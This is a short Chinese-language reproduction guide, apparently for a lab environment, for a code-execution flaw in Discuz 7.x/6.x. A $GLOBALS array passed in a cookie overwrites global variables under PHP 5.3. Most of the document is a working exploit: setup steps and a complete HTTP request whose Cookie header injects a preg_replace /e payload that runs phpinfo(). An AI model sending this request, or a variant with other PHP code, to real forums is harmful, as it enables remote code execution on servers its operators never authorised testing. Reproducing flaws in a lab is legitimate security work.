Discuz 7.x/6.x 全局变量防御绕过导致代码执行

由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致$_REQUEST中不再包含$_COOKIE，我们通过在Cookie中传入$GLOBALS来覆盖全局变量，造成代码执行漏洞。

具体原理请参考：

• https://www.secpulse.com/archives/2338.html

漏洞复现

启动Discuz 7.2，启动后，访问http://192.168.44.132:8080/install/来安装discuz，数据库地址填写db，数据库名为discuz，数据库账号密码均为root。

安装成功后，直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();：

GET /viewthread.php?tid=9&extra=page%3D1 HTTP/1.1
Host: 192.168.44.132:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.44.132:8080/forumdisplay.php?fid=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close

phpinfo已成功执行：